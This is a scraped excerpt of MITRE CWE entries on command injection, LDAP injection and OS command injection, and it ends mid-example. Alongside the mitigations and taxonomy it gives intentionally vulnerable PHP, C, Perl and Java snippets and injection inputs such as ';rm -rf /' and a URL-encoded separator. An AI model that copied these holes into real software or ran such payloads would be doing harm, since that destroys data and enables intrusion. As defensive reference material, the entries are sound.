$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
a.out*

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

+ Observed Examples
ReferenceDescription
Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution.
Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
injection of sed script syntax ("sed injection")
injection of sed script syntax ("sed injection")
injection of sed script syntax ("sed injection")
image program allows injection of commands in "Magick Vector Graphics (MVG)" language.
anti-spam product allows injection of SNMP commands into confiuration file
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phase: Implementation

If possible, ensure that all external commands called from the program are statically created.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Phase: System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

CWE-77 is often misused when OS command injection (CWE-78) was intended instead [REF-1287].

Comments:

If the weakness involves a command language besides OS shell invocation, then CWE-77 could be used.
+ Notes

Terminology

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsCommand Injection
CLASPCommand injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
Software Fault PatternsSFP24Tainted input to command
SEI CERT Perl Coding StandardIDS34-PLCWE More SpecificDo not pass untrusted, unsanitized data to a command interpreter
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2022-05-20Anonymous External Contributor
reported typo in Terminology note
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes, Terminology_Notes
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Description, Observed_Examples, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References, Terminology_Notes
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Command Injection
2009-05-27Failure to Sanitize Data into a Control Plane (aka 'Command Injection')
2009-07-27Failure to Sanitize Data into a Control Plane ('Command Injection')
2010-06-21Improper Sanitization of Special Elements used in a Command ('Command Injection')

CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Weakness ID: 90
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.943Improper Neutralization of Special Elements in Data Query Logic
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Database Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Application Data; Modify Application Data

An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.
+ Demonstrative Examples

Example 1

The code below constructs an LDAP query using user input address data:

(bad code)
Example Language: Java 
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

+ Observed Examples
ReferenceDescription
Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)
Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems. Can be primary to authentication and verification errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLDAP injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
WASC29LDAP Injection
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-879] SPI Dynamics. "Web Applications and LDAP Injection".
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations, Relationship_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11LDAP Injection
2009-05-27Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection')
2010-06-21Failure to Sanitize Data into LDAP Queries ('LDAP Injection')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
+ Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  • The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  • The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized commands, which could then be used to disable the product, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

(bad code)
Example Language:
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 3

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 4

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 5

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
